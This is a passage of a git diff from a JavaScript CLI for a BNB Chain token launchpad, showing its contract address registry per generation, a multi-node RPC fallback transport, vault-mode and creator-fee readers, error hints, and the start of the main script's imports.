3.0 (docs/MAINNET-GANG-LAUNCHPAD-3-2026-11-03.md), the permanent address. Its own + // GangRouter, tax handler (owned by its GangHandlerAdmin 0xC833…Af76), GangBond and the four module factories, all + // bound to this proxy (docs/MAINNET-GANG-LAUNCHPAD-3-MODULES-2026-11-03.md). Vault mode since the Safe's upgrade at + // block 131454282 (implementation 0x88A4…028D, Pad3Module 0xa712…409A); vaultModeOf reads it from the pad. 铸币飞轮 mode + // and 打新 through the entry since 2026-11-04 (fly tax handler 0x7De9…3ba0, vault core 0x9d90…767E, deployer 0x2C95…072E) + { + gen: PAD3_GEN, pad: '0x2bEbED4be8c8F46C17776C71D7a6A45dbC5CAB29', router: '0xec9717E5C68b9F18fA76D3961C9Cd7e67b5E61e7', + bond: '0x830b38F695Ca1bCbdD313CD5AA5943e2125Be9D6', splitterFactory: '0xc1282e7Fd3DFa5e00e74E9EbF8c54fFfB5763194', + splitFactory: '0x904D4498a9257E4d7638afEbB95A1162cB2171f2', lpFactory: '0x98C506F0F4762F9d1Ec96C27499CE8B7e5981752', + comboFactory: '0x20188054dE31De844df205712768852BdeD3eA39', + }, + // 2026-10-31, pad block 130874052: 2.0 with the creator fee and the graduation target the creator picks (the create + // target until 3.0; its tokens trade and claim here); its own GangRouter, GangBond, buy-back factory + // (buyback-burn-v4), split-v1, lp-burn-v1 and combo-v1 factories, all bound to this pad and listed on its own + // GangHandlerAdmin + { + gen: '2.0', pad: '0x770331a9accdb53ACb4a45B6c5B7D151fADCe557', router: '0xa83209d6bfC2B220cD86410cCDDC71FEb354844a', + bond: '0x231339463d04A2127E6dD5756756Dd56853AE0D8', splitterFactory: '0x77e499c892e5E6B3eEe1721e6821e9DA1293803C', + splitFactory: '0xa73dC3d63AAf72E70b1cb012e5f3A541360Bec59', lpFactory: '0x8ac85f150f87B536fb05eA163908b1077D95c0E4', + comboFactory: '0xcCeA388DbC0Edb206eC25C9715546d57029198Be', + }, + // 2026-10-27, pad block 130104322. router = the GangRouter proxy: BNB buys and every PancakeSwap trade of a graduated + // token (V3, 打新 and V2 / Soft / U / S alike). GangBond 2026-10-29 with the re-review L-1 fix; it replaces 0xf26F…C817 + // (never used; CLI 0.15.1–0.16.1) (docs/MAINNET-GANG-BOND-2026-10-29.md). Buy-back factory v3 (one chunk per 4 minutes; + // docs/MAINNET-BUYBACK-SPLITTER-2026-10-28.md; v2 0x9346…8F2f and v1 0x6bcd…8546 are stopped, their clones keep + // working). Split factory 2026-10-30 (docs/MAINNET-SPLIT-MODULE-2026-10-30.md), LP factory 2026-10-31 + { + gen: '1.0', pad: '0x15CFD2dc8278Fb87a1783ef42111618E20874365', router: '0xE040445690Aa56C8b68B7f7038C7b2562B5079C4', + bond: '0xe92dC940CB23Dc328639A7334e69F9CCdf3a14E4', splitterFactory: '0xf1d5CA816d72e6F130f42662d11b238312A7F1Cd', + splitFactory: '0x27e08271E52B2D129c824CD245e69471a8d3067c', lpFactory: '0xE0436867dAFcf42Ee1418083251a9B8B61F0C248', + // combo-v1, 2026-10-31 (the Safe allowed it on GangHandlerAdmin at block 130811492) + comboFactory: '0xd33C38BE3f8472b3013167830F0638C1704e1DBd', + }, + // 2026-11-02, pad block 131081707: 2.0 金库版 (GangVaultLaunchpad; docs/MAINNET-GANG-VAULT-LAUNCHPAD-2026-11-02.md). + // The 2.0 curves, each bound at create to one vault the platform listed (createWithVault, by the wallet the Safe + // named for that vault: gang create --vault). Never the create target of a plain create. Its own GangRouter; no + // GangBond and no module factories (none is wired to it) + { + gen: VAULT_GEN, pad: '0xE90851A90C6278E3d6e4C24320101f8B13D90A11', router: '0xAcd4944A4090c13d9DACAe60f3019cef9d9bB1Ad', + bond: null, splitterFactory: null, splitFactory: null, lpFactory: null, comboFactory: null, + }, + ], + testnet: [ + // 2026-11-03, proxy block 140496214: 3.0 (docs/TESTNET-GANG-LAUNCHPAD-3-2026-11-03.md), vault mode since its fourth + // upgrade, 铸币飞轮 mode and 打新 through the entry since (fly tax handler 0x2d03…231f, vault core 0x570B…6494). Its own + // GangRouter, tax handler (GangHandlerAdmin 0x0fb8…9D23), GangBond and module factories + { + gen: PAD3_GEN, pad: '0x0508232833aE6849c03b28F7aA248BBd5cFCceE2', router: '0x09544Fd87c5Ff2c4fb05885A76861A12e83f87b9', + bond: '0xa87727dc3CC28a44709649A22aDbD77287B99fc1', splitterFactory: '0x3533E63EF0386adfBC96227C50f1b82EEA18d110', + splitFactory: '0xf8d4FA57FD65Bf16427Eef653518811fFa2606dc', lpFactory: '0x4A3aC160eAF4A2747046b119631988D5D8056B07', + comboFactory: '0xdc1687961c8aAf5A0340c1A73b604cf3a2be543C', + }, + // 2026-10-31, pad block 139940227: 2.0 with the graduation target the creator picks (GRAD_BNB_TIERS, createWithGradTarget; + // docs/SPEC-CURVE-GRAD-TARGET-2026-10-31.md), the create target until 3.0; buy-back factory buyback-burn-v4, split-v1, + // lp-burn-v1, its own GangBond + { + gen: '2.0', pad: '0xb14d415f70D7F99f0D93Bd3BF76e0D6b38b53B3E', router: '0x5a4FA2D91638a305EdF027894753c943f095dDAA', + bond: '0x39749B59066d9cd1c55E2Fc48B31a3978C9951F9', splitterFactory: '0xDC9EdA9a29F4Ff66E7dAb6E5A2142df5a7aC0f6e', + splitFactory: '0xb9ab949C717a4F7f05c7B003C612C437280C3513', lpFactory: '0xAEec7e7948FfDb7a212E14c0b9cc1DA2922436E4', + comboFactory: '0x312c86F7139b3e3a75ee66b4D5Bfdbe5077584BD', + }, + // 2026-10-31, pad block 139866088: the first 2.0 (creator fee, no graduation pick), no longer creating; its tokens trade + // and claim here. Its modules from the same scripts as 1.0's (docs/TESTNET-GANGLAUNCHPAD2-2026-10-31.md) + { + gen: '2.0', pad: '0x6381707406eb7E8EF8EdaF2DedBfFcEFFC0b39be', router: '0xb21828C49A526FA293C48990070a518e9ab9FC08', + bond: '0x913966122b9f8CC00C0d81000988A483c6B7F97f', splitterFactory: '0xBc26A6585B3Dc2Cbf1522475fB5b18df6C1033AE', + splitFactory: '0x860D51808E9FBB4f887FC7d0Aa9e1F8E19E00879', lpFactory: '0x4f1544e4e8853fC62088f0A4eCbEF409D2e11619', + comboFactory: null, // none: its tokens can't have a combined recipient + }, + // set 10 (2026-10-27: §23 aggregator entries). GangBond 2026-10-29, block 139463214 — the audited version (earlier: + // 0x587f…5d7E, 0x5a99…d716, 0xB034…EBE3; docs/TESTNET-GANG-BOND-2026-10-28.md); split and LP factories + // docs/TESTNET-SPLIT-MODULE-2026-10-30.md, docs/TESTNET-LP-MODULE-2026-10-30.md + { + gen: '1.0', pad: '0xFebF58ba418ab4a3B3f054827eb11E99369C5BB1', router: '0x6bB660f310a9644Dc173E7Cf2F73498716D9C9F6', + bond: '0xd6a8dd5d1E6641a34A255f25Db2B3ED397CB1086', splitterFactory: '0x7E63fF8A9FB9Ab1BE4e2128e9f6C8D1054292BBe', + splitFactory: '0x5F7dC7502E945A860Cf49cca72dA8bD60Fb1567E', lpFactory: '0xA729C60FCa0Bd0D28a55E22126D3fE412AA41591', + comboFactory: '0x52a8f90a92E5C1828b4436a0B99C6b293f7F4CFE', + }, + // 2026-11-01, pad block 140215635: 2.0 金库版, testnet v3 (docs/TESTNET-GANG-VAULT-LAUNCHPAD-2026-11-01.md) + { + gen: VAULT_GEN, pad: '0x9108e7b85e69060A5E626A04Ce6DEf323071C8a9', router: '0x9bF3E197a6719Af856a7c82d23CABFdBcc184f69', + bond: null, splitterFactory: null, splitFactory: null, lpFactory: null, comboFactory: null, + }, + ], +} +// what a generation brings to a ctx (gen: '1.0' | '2.0' | PAD3_GEN | VAULT_GEN, null for a pad named by the env that this CLI does not know) +const GEN_FIELDS = ['gen', 'pad', 'router', 'bond', 'splitterFactory', 'splitFactory', 'lpFactory', 'comboFactory'] +// the env names of each field, per network (new name first; the old per-command names still work as aliases) +const GEN_ENV = { + mainnet: { + pad: ['GANG_PAD', 'GANG_V3_PAD', 'GANG_FAIR_PAD'], router: ['GANG_ROUTER'], bond: ['GANG_BOND'], + splitterFactory: ['GANG_SPLITTER_FACTORY'], splitFactory: ['GANG_SPLIT_FACTORY'], lpFactory: ['GANG_LP_FACTORY'], + comboFactory: ['GANG_COMBO_FACTORY'], + }, + testnet: { + pad: ['GANG_TESTNET_PAD', 'GANG_V3_TESTNET_PAD', 'GANG_FAIR_TESTNET_PAD'], router: ['GANG_TESTNET_ROUTER', 'GANG_ROUTER_TESTNET'], + bond: ['GANG_TESTNET_BOND'], splitterFactory: ['GANG_TESTNET_SPLITTER_FACTORY'], splitFactory: ['GANG_TESTNET_SPLIT_FACTORY'], + lpFactory: ['GANG_TESTNET_LP_FACTORY'], comboFactory: ['GANG_TESTNET_COMBO_FACTORY'], + }, +} + +// Public BSC nodes, tried in this order (2026-10-30: each answered eth_call with revert data, tx and receipt reads). +// Several operators, so one node's rate limit or outage does not stop a preview. +export const MAINNET_RPCS = [ + 'https://bsc-dataseed.binance.org', 'https://bsc-dataseed.bnbchain.org', 'https://bsc-dataseed1.defibit.io', + 'https://bsc-dataseed1.ninicoin.io', 'https://bsc-rpc.publicnode.com', +] +// publicnode first: the data-seed nodes keep little state and answer `missing trie node` sooner +export const TESTNET_RPCS = [ + 'https://bsc-testnet-rpc.publicnode.com', 'https://bsc-testnet.bnbchain.org', + 'https://data-seed-prebsc-1-s1.bnbchain.org:8545', 'https://data-seed-prebsc-2-s1.bnbchain.org:8545', +] + +/** An RPC variable's value → its URLs (one, or a comma-separated list), or null when unset / empty. */ +export const rpcList = (v) => { + const urls = (v ?? '').split(',').map((s) => s.trim()).filter(Boolean) + return urls.length ? urls : null +} + +// what every node would answer alike: the contract's revert, gas or funds the call lacks. Thrown at once, not retried +const SAME_ON_EVERY_NODE = /execution reverted|gas required exceeds allowance|insufficient funds/i +const sameOnEveryNode = (e) => e?.code === 3 || SAME_ON_EVERY_NODE.test(e?.details ?? '') +// list → the index of the node that answered last; the next call (of any client on that list) starts there +const lastGood = new Map() + +/** + * viem transport over a list of nodes. A call goes to the node that answered last and moves down the list when it + * fails (rate limit, timeout, the node's own error), so a dead node costs one timeout, not one per call. A revert is the + * contract's answer and is thrown as it is. One URL: plain http with viem's retries, as before. (viem's fallback() + * starts every call at the first node, and its ranking keeps a timer that holds the process open.) + */ +export function rpcTransport(urls) { + if (urls.length === 1) return http(urls[0]) + const key = urls.join(',') + const nodes = urls.map((u) => http(u, { retryCount: 0, timeout: 8_000 })) + return ({ chain }) => { + const live = nodes.map((n) => n({ chain })) + return createTransport({ + key: 'gang', name: 'Gang RPC', type: 'gang', retryCount: 1, + async request({ method, params }) { + const first = lastGood.get(key) ?? 0 + let error + for (let k = 0; k < live.length; k++) { + const i = (first + k) % live.length + try { + const r = await live[i].request({ method, params }) + lastGood.set(key, i) + return r + } catch (e) { + if (sameOnEveryNode(e)) throw e + error = e + } + } + throw error + }, + }) + } +} + +const env = (...names) => { + for (const n of names) if (process.env[n]) return process.env[n] + return null +} + +const sameAddr = (a, b) => !!a && !!b && a.toLowerCase() === b.toLowerCase() + +/** + * The generations of a network as this run sees them, newest first. The env overrides the create target (the first): + * a GANG_PAD naming a known pad makes that generation the target, with its own contracts; an unknown pad gets only the + * router, bond and factories the env names. Every contract the env does not override stays the generation's own, so a + * pad is never paired with another generation's router or bond: a variable naming another built-in generation's + * contract (an old GANG_TESTNET_ROUTER set for set 10, say) is left out — that generation's tokens use it anyway. + */ +export function gangGens(testnet) { + const net = testnet ? 'testnet' : 'mainnet' + const set = Object.fromEntries(Object.entries(GEN_ENV[net]).map(([k, names]) => [k, env(...names)])) + const list = GANG_GENS[net] + const first = { ...(set.pad ? (list.find((g) => sameAddr(g.pad, set.pad)) ?? { gen: null, pad: set.pad }) : list[0]) } + for (const k of GEN_FIELDS.slice(2)) { + if (set[k] && !list.some((g) => !sameAddr(g.pad, first.pad) && sameAddr(g[k], set[k]))) first[k] = set[k] + } + return [first, ...list.filter((g) => !sameAddr(g.pad, first.pad))].map(genFields) +} + +/** The 2.0 金库版 generation of `gens` (a ctx's gens or gangGens(testnet)), or null when the network has none. */ +export const vaultGenOf = (gens) => gens.find((g) => g.gen === VAULT_GEN) ?? null + +const VAULT_PROBE = encodeFunctionData({ abi: parseAbi(['function vaultOf(address token) view returns (address)']), functionName: 'vaultOf', args: [zeroAddress] }) +const vaultModes = new Map() +const NOT_YET_MS = 10 * 60_000 +// a call the contract refused (a revert, with or without data), not the node failing; an internal error (-32603) is the node's +const refused = (e) => !e?.walk?.((x) => x?.code === -32603) + && !!e?.walk?.((x) => x?.code === 3 || x?.name === 'ExecutionRevertedError' || /execution reverted/i.test(x?.details ?? '')) +/** + * Whether `pad` serves the vault mode (createWithVault, vaultOf, lockedOf, vaultCreator): the 2.0 金库版 pad always, + * 1.0 and 2.0 never (both known without a call); 3.0 (and a pad named by the env) once an upgrade added it, told by a + * vaultOf(address(0)) call that succeeds with exactly 32 bytes (before that upgrade 3.0 has no fallback: it reverts + * without data). A revert is false; any other error (the RPC) is thrown, never taken for "no vault mode". + */ +export async function vaultModeOf(ctx, pad = ctx.pad) { + const known = [...GANG_GENS.mainnet, ...GANG_GENS.testnet].find((g) => sameAddr(g.pad, pad)) + if (known?.gen === VAULT_GEN) return true + if (known && known.gen !== PAD3_GEN) return false + const key = `${ctx.chainId}:${pad.toLowerCase()}` + const hit = vaultModes.get(key) + // "served" is kept for the run; "not yet" for NOT_YET_MS only, so a long-lived process (gang mcp) sees the upgrade + if (!hit || (hit.no && Date.now() - hit.at > NOT_YET_MS)) { + const entry = { at: Date.now(), no: false } + entry.p = ctx.client.call({ to: pad, data: VAULT_PROBE }).then((r) => (r?.data?.length ?? 0) === 66).catch((e) => { + if (refused(e)) return false + vaultModes.delete(key) + throw e + }).then((yes) => { entry.no = !yes; return yes }) + vaultModes.set(key, entry) + return entry.p + } + return hit.p +} + +const VAULT_OF_ABI = parseAbi(['function vaultOf(address token) view returns (address)']) +/** + * The lock vault `token` is bound to on ctx.pad (ctx on the token's generation), or null: none (a pad without the vault + * mode, or a token created without one). Every 2.0 金库版 token has one. Throws on an RPC error. + */ +export async function tokenVaultOf(ctx, token) { + if (!(await vaultModeOf(ctx))) return null + const v = await ctx.read(ctx.pad, VAULT_OF_ABI, 'vaultOf', [token]) + return v === zeroAddress ? null : v +} + +/** + * Why a vault-bound token takes no GangBond: report() slashes as soon as the creator's WALLET balance is below the + * promised holding, and tokens locked into the vault are not in the wallet, so one lock forfeits the whole bond. + */ +export const VAULT_NO_BOND = 'this token is bound to a lock vault, so it takes no GangBond: a bond is slashed (anyone can report it) as soon as the creator\'s wallet balance drops below the promised holding, and tokens locked into the vault are no longer in the wallet, so a single lock (often made in the vault\'s own app) would forfeit the whole bond' + +/** A generation's contracts as ctx fields (missing ones null). */ +export const genFields = (g) => Object.fromEntries(GEN_FIELDS.map((k) => [k, g?.[k] ?? null])) + +/** + * Network settings for `gang v3` (kind 'v3') or `gang fair` (kind 'fair'): the same pad on a merged deployment. pad, + * router, bond and the factories are the create target's; `gens` lists every generation (atTokenPad moves a ctx to the + * one that has a token). + */ +export function padNets(kind) { + const alias = kind === 'v3' ? 'V3' : 'FAIR' + const [main, test] = [gangGens(false), gangGens(true)] + return { + mainnet: { + chainId: '56', chain: bsc, ...genFields(main[0]), gens: main, + rpcs: rpcList(env('GANG_RPC_URL')) || MAINNET_RPCS, + wbnb: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c', explorer: 'https://bscscan.com', + }, + testnet: { + chainId: '97', chain: bscTestnet, ...genFields(test[0]), gens: test, + rpcs: rpcList(env('GANG_TESTNET_RPC_URL', `GANG_${alias}_TESTNET_RPC_URL`)) || TESTNET_RPCS, + wbnb: '0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd', explorer: 'https://testnet.bscscan.com', + }, + } +} + +export const NOT_ON_MAINNET = 'no gang launchpad address for this network — set GANG_PAD (and GANG_ROUTER for BNB buys / mints and pool trades), or add --testnet to use the BSC testnet deployment' + +/** + * Errors of the merged token (GangToken) and handler (GangTaxHandler) that can surface through a pad call, plus the + * pad's WrongKind (declared here in case the pad has it: decoding goes by selector, an unused entry costs nothing). + */ +export const MERGED_ERRORS_ABI = parseAbi([ + 'error Untaxed()', 'error NotReclaimable()', 'error NotLocked()', 'error WrongKind()', 'error TransfersLocked()', + 'error StillLocked()', 'error SwapBackOutOfGas()', 'error SellDuringFlashSwap()', 'error BadKind()', + // 2.0, both kinds: the graduation amount / raise in the quote is more than a PancakeSwap pair can hold + 'error QuoteAmountTooLarge()', + // the token deployer, on a create from a pad it no longer lists (a pad stops creating at a cut-over) + 'error OnlyLaunchpad()', +]) +export const MERGED_HINTS = { + Untaxed: 'this token is untaxed (0% / 0%): it never gets a pool tax, a tax route or dividends; nothing to release or claim on it', + NotReclaimable: 'only a 打新 (fair-mint) token can be sold back to the pad; a V3 token is sold on its curve (gang sell)', + NotLocked: 'the sale already launched (the token is unlocked): sell-back is over, trade the token on PancakeSwap', + WrongKind: 'this token is the other kind on the merged pad: V3 tokens use `gang v3 …`, 打新 tokens use `gang fair …`', + BadKind: 'the tax handler refused the token kind (a pad / handler wiring problem): report it to gang', + TransfersLocked: 'the token is locked until graduation / launch: before that it moves only through the pad', + StillLocked: 'the token has not graduated / launched yet', + SwapBackOutOfGas: 'too little gas for the sell-time tax chunk: re-run with the estimated gas limit (do not cap it lower)', + SellDuringFlashSwap: 'a sell paid in from a flash swap callback is refused by this token', + OnlyLaunchpad: 'on a create: this pad has stopped creating tokens (its token deployer no longer lists it); its existing tokens keep working. Leave GANG_PAD / GANG_TESTNET_PAD and their aliases unset to create on the current pad, or update the CLI (npm i -g @gangfun/cli@latest)', + QuoteAmountTooLarge: 'in this quote the graduation target / raise is more than a PancakeSwap pair can hold (the quote is priced far below BNB, often by a skewed --ref-pool): pick another quote or reference pool', +} + +const KIND_ABI = parseAbi(['function kindOf(address token) view returns (uint8)']) +const KINDS = ['none', 'v3', 'fair', 'fly'] + +/** 'v3' | 'fair' | 'fly' | 'none' from the merged pad's kindOf (fly: 3.0 only); null on a pad without kindOf (before the merge) or on an RPC error. */ +export async function kindOf(ctx, token) { + try { + return KINDS[Number(await ctx.read(ctx.pad, KIND_ABI, 'kindOf', [token]))] ?? null + } catch { + return null + } +} + +/** + * Which generation's pad has `token`, asked of every pad of ctx.gens at once: { g, kind } with kind 'v3' | 'fair' | + * 'fly' (3.0's own 铸币飞轮 tokens; V1 / V2 ones are on GangFlywheelPad, not in ctx.gens: fly.js finds those); + * { g: null, kind: 'none' } when no pad has it; kind null when a pad could not be read and no other one has it. + */ +export async function genOf(ctx, token) { + const gens = ctx.gens ?? [ctx] + const kinds = await Promise.all(gens.map((g) => kindOf({ ...ctx, pad: g.pad }, token))) + const i = kinds.findIndex((k) => k === 'v3' || k === 'fair' || k === 'fly') + if (i >= 0) return { g: gens[i], kind: kinds[i] } + return { g: null, kind: kinds.includes(null) ? null : 'none' } +} + +/** + * Move ctx to the generation whose pad has `token`: its pad, router, GangBond and factories. ctx stays on the create + * target when no pad has the token (the caller then says what it is not). → the token's kind as genOf gives it (null: + * a pad could not be read, see KIND_UNREAD); undefined when `token` is not an address (the caller refuses it). + */ +export async function atTokenPad(ctx, token) { + if (!/^0x[0-9a-fA-F]{40}$/.test(token ?? '')) return undefined + const { g, kind } = await genOf(ctx, token) + if (g && !sameAddr(g.pad, ctx.pad)) { + Object.assign(ctx, genFields(g)) + delete ctx._tax // the tax handler and the fee constants are the pad's + delete ctx.fees + } + return kind +} + +/** + * Point ctx at the generation whose pad is `pad` (a module's own pad()), as atTokenPad does for a token; false when `pad` + * is none of this network's GangLaunchpad pads. + */ +export function atPad(ctx, pad, testnet) { + const g = gangGens(testnet).find((x) => sameAddr(x.pad, pad)) + if (!g) return false + if (!sameAddr(g.pad, ctx.pad)) { + Object.assign(ctx, genFields(g)) + delete ctx._tax + delete ctx.fees + } + return true +} + +const LISTING_ABI = parseAbi([ + 'function taxHandler() view returns (address)', + 'function owner() view returns (address)', + 'function moduleOf(address module) view returns (address)', +]) +/** + * The factory that listed `module` on ctx.pad's tax handler (GangHandlerAdmin, the handler's owner: moduleOf), or null + * when it never listed it: not one of the platform's modules, whatever its moduleType() says. + */ +export async function listedBy(ctx, module) { + const handler = await ctx.read(ctx.pad, LISTING_ABI, 'taxHandler') + const admin = await ctx.read(handler, LISTING_ABI, 'owner') + const factory = await ctx.read(admin, LISTING_ABI, 'moduleOf', [module]) + return /^0x0{40}$/.test(factory) ? null : factory +} + +/** What a command says when atTokenPad could not read every pad (null): retry rather than a wrong "not this kind". */ +export const KIND_UNREAD = { error: 'could not read which GangLaunchpad has this token (kindOf; RPC error)', retry: 'same command again' } + +/** The 2.0 creator fee: 70% of the 1% curve fee of each V3 curve trade, kept on the pad for the token's creator. */ +export const CREATOR_FEE_ABI = parseAbi([ + 'function CREATOR_FEE_SHARE_BPS() view returns (uint256)', + 'function creatorFeeOf(address token) view returns (uint256)', + 'function claimCreatorFee(address token, address to) returns (uint256 amount)', + 'error NotCreator()', + 'event CreatorFeeAccrued(address indexed token, address indexed creator, uint256 amount)', + 'event CreatorFeeClaimed(address indexed token, address indexed creator, address indexed to, uint256 amount)', +]) +const feeShares = new Map() +// a call that hit a contract without the function: no return data, or a revert without data. An RPC's internal error +// (-32603) also comes back from viem as a revert, so it is told apart by its code +const noSuchFunction = (e) => !e?.walk?.((x) => x?.code === -32603) + && !!e?.walk?.((x) => x?.name === 'ContractFunctionZeroDataError' || (x?.name === 'ContractFunctionRevertedError' && !x.data && (!x.raw || x.raw === '0x'))) +/** + * The pad's creator share of the curve fee in bps (7000 on 2.0); null on a 1.0 pad. A built-in generation is known + * without a call (1.0: null); a pad named by the env is asked: a 1.0 pad has no CREATOR_FEE_SHARE_BPS (the call reverts + * without data). Any other error (the RPC) is thrown, so a 2.0 token is never shown as 1.0. + */ +export async function creatorFeeShareOf(ctx, pad = ctx.pad) { + const known = [...GANG_GENS.mainnet, ...GANG_GENS.testnet].find((g) => sameAddr(g.pad, pad)) + if (known?.gen === '1.0') return null + const key = `${ctx.chainId}:${pad.toLowerCase()}` + if (!feeShares.has(key)) { + const p = ctx.read(pad, CREATOR_FEE_ABI, 'CREATOR_FEE_SHARE_BPS').then(Number).catch((e) => { + if (!known && noSuchFunction(e)) return null + feeShares.delete(key) + throw e + }) + feeShares.set(key, p) + } + return feeShares.get(key) +} + +/** + * The V3 curve graduation target (GangLaunchpad 2.0): the creator picks one of GRAD_BNB_TIERS (BNB raised) with + * createWithGradTarget, create takes TARGET_GRAD_BNB (9 on 2.0). 1.0 has neither pick nor tiers: every curve 15 BNB. + */ +export const GRAD_TARGET_ABI = parseAbi([ + 'function GRAD_BNB_TIERS() pure returns (uint256[4])', + 'function TARGET_GRAD_BNB() view returns (uint256)', + 'function gradTargetOf(address token) view returns (uint256)', + 'function graduationAmountFor(address quote, address refPool, uint256 gradBnb) view returns (uint256)', + 'error BadGradTarget()', + 'event GradTargetSet(address indexed token, uint256 gradBnb)', +]) +const gradTiers = new Map() +const bnbNum = (wei) => Number(wei / 10n ** 15n) / 1000 +/** + * The graduation targets a creator may pick on `pad`, in BNB ([6, 9, 12, 15]); null on a pad without the pick (1.0, + * known without a call, or an older 2.0 build: GRAD_BNB_TIERS reverts without data). An RPC error is thrown. + */ +export async function gradTiersOf(ctx, pad = ctx.pad) { + const known = [...GANG_GENS.mainnet, ...GANG_GENS.testnet].find((g) => sameAddr(g.pad, pad)) + if (known?.gen === '1.0') return null + const key = `${ctx.chainId}:${pad.toLowerCase()}` + if (!gradTiers.has(key)) { + const p = ctx.read(pad, GRAD_TARGET_ABI, 'GRAD_BNB_TIERS').then((t) => t.map(bnbNum)).catch((e) => { + if (noSuchFunction(e)) return null + gradTiers.delete(key) + throw e + }) + gradTiers.set(key, p) + } + return gradTiers.get(key) +} +/** A token's graduation target in BNB raised: its pick (gradTargetOf) where the pad has one, else the pad's TARGET_GRAD_BNB. */ +export async function gradTargetBnbOf(ctx, token) { + if (await gradTiersOf(ctx)) { + const v = await ctx.read(ctx.pad, GRAD_TARGET_ABI, 'gradTargetOf', [token]) + if (v > 0n) return bnbNum(v) + } + return bnbNum(await ctx.read(ctx.pad, GRAD_TARGET_ABI, 'TARGET_GRAD_BNB')) +} + +/** + * Why `token` is not a `want` ('v3' | 'fair') token on this pad, as { error, hint, kind } for fail(): points at the right + * subcommand when kindOf says it is the other kind. `net` is appended to the suggested command (' --testnet' or ''). + */ +export async function notThisKind(ctx, token, want, net = '') { + const kind = await kindOf(ctx, token) + const ask = want === 'v3' ? 'a LaunchpadV3 (tax) token' : 'a 打新 (fair-mint) sale' + if (kind === 'fly') { + return { error: `this is a 铸币飞轮 (Mint Flywheel) token: gang info / buy / sell / mint / withdraw --token ${token}${net} pick the right pad code`, kind } + } + if (kind === 'fair' && want === 'v3') { + return { error: `this is a 打新 (fair-mint) token, not a V3 token: gang info / buy / sell / mint / withdraw --token ${token}${net} pick the right pad code`, kind } + } + if (kind === 'v3' && want === 'fair') { + return { error: `this is a V3 (bonding-curve) token, not a 打新 sale: gang info / buy / sell --token ${token}${net} pick the right pad code`, kind } + } + return { error: `not ${ask} on this pad`, kind } +} diff --git a/src/index.js b/src/index.js old mode 100755 new mode 100644 index 5361c84..02b212d --- a/src/index.js +++ b/src/index.js @@ -1,17 +1,66 @@ #!/usr/bin/env node import { CONFIG, ADDR, listTokens, tokenInfo, quoteBuy, quoteSell, isAgent, balanceOf, allowance, - calldata, decodeTx, parseEther, fmt, fmtTok, resolvePad, assertCreateTarget, zeroAddress, + calldata, decodeTx, decodeLogs, parseEther, fmt, fmtTok, resolvePad, isAddress, client, } from './chain.js' -import { bawAddress, bawSettings, bawStatus, bawPreview, bawExecute } from './baw.js' -import { uploadLogoFile, LOGO_UI } from './logo.js' +import { baw, bawAddress, bawError, bawFailed, bawSettings, bawStatus, bawPreview, bawExecute } from './baw.js' +import { uploadLogoFile, uploadMetadata, rehostLogoUrl, isGangLogo, checkGangLogo, tempHost, ipfsCid, ipfsUri, isIpfsUri, cdnUrl, LOGO_UI } from './logo.js' +import { API, fetchMarket, get as apiGet, rank, watch, parseDuration } from './discover.js' +import { + makeNote, withNote, queueNote, findByRequestId, findByHashes, hashesIn, publishNote, hasQueued, followSuffix, readFollowRef, + refSuffix, readRef, + readTokenLinks, +} from './notes.js' +import { normalizeWebsite, normalizeTwitter } from './links.js' +import { NOTE_SORTS, AGENT_WINDOWS, AGENT_SORTS, NOTE_EVENTS, noteRow, fetchNotes, watchNotes, agentBoard } from './feed.js' +import { NOTE_TX, MIN_FOLLOW_USD, REASONS, noteLink, checkFollow, amountUsd, localTime } from './follow.js' +import { rememberPreview, previewFor, pendingPreviews, claimedTxHashes } from './previews.js' +import { matchPending } from './pending.js' +import { UA, VERSION, checkUpdate } from './version.js' +import { runFair, FAIR_EVENT_ABIS } from './fair.js' +import { runV3, v3Ctx, V3_EVENT_ABIS } from './v3.js' +import { runBond } from './bond.js' +import { runBuyback } from './buyback.js' +import { runSplit, SPLIT_EVENT_ABIS } from './split.js' +import { runLp, LP_EVENT_ABIS } from './lp.js' +import { runCombo, COMBO_EVENT_ABIS } from './combo.js' +import { runFly, flyCtx, isFlyToken, FLY_EVENT_ABIS, FLY_CREATE_FLAGS } from './fly.js' +import { FAIR_DEV_BUY, isLaunch, LAUNCH_FLAGS, runLaunch } from './launch.js' +import { poolPayBnb, poolTrade } from './pool.js' +import { parseAmount, ROUTER_ABI, ROUTER_HINTS, revertOf as revertIn, step as writeStep } from './steps.js' +import { MERGED_ERRORS_ABI, genOf, padNets } from './gangpad.js' +import { creatorFeeCtx, creatorFeeList, runCreatorFee } from './creatorfee.js' +import { V2_ABI } from './abi.js' +import { runMcp } from './mcp.js' +import { portfolio } from './portfolio.js' +import { record } from './telemetry.js' +import { trending, trendingBlock, TRENDING_NOTE } from './trending.js' +import { shareFor } from './share.js' +import { CREATE_ACCEPTS, FAIR_CREATE_FLAGS, LINK_FLAGS, V3_CREATE_FLAGS, unknownFlagError } from './flags.js' +import { parseAbi } from 'viem' const args = process.argv.slice(2) const cmd = args[0] const opt = (name, def) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : def } const flag = (name) => args.includes(`--${name}`) -const out = (o) => console.log(JSON.stringify(o, (_, v) => (typeof v === 'bigint' ? v.toString() : v), 2)) -const fail = (msg, extra = {}) => { out({ success: false, error: msg, ...extra }); process.exit(1) } +// set once in main() when npm has a newer CLI; every JSON result then carries it (`gang watch` streams don't) +let update = null +// --ref on a buy / mint / follow: whether the invite tag went into the calldata (set once by resolveRef, shown on every result) +let refTag = '', refInfo = null +// the first result of a run is also counted (anonymously, telemetry.js) unless GANG_TELEMETRY=0 +const out = (o) => { + if (refInfo && o && typeof o === 'object' && !('ref' in o)) o = { ...o, ref: refInfo } + record(args, o) + console.log(JSON.stringify(update ? { ...o, update } : o, (_, v) => (typeof v === 'bigint' ? v.toString() : v), 2)) +} +// `gang watch` speaks NDJSON, so its failures are one line too (with event/fatal for stream consumers) +const fail = (msg, extra = {}) => { + if (cmd === 'watch') { + record(args, { success: false, error: msg, ...extra }) + console.log(JSON.stringify({ event: 'error', fatal: true, success: false, error: msg, ...extra })) + } else out({ success: false, error: msg, ...extra }) + process.exit(1) +} const parseSlippage = (raw) => { const s = Number(raw) @@ -19,25 +68,588 @@ const parseSlippage = (raw) => { return s } -const HELP = `gang — agent-only launchpad on BNB Chain (Binance Agentic Wallet) · LaunchpadV2 create +const parseCount = (name, raw, max) => { + const n = Number(raw) + if (!Number.isInteger(n) || n < 1 || n > max) fail(`--${name} must be an integer between 1 and ${max}`, { got: raw }) + return n 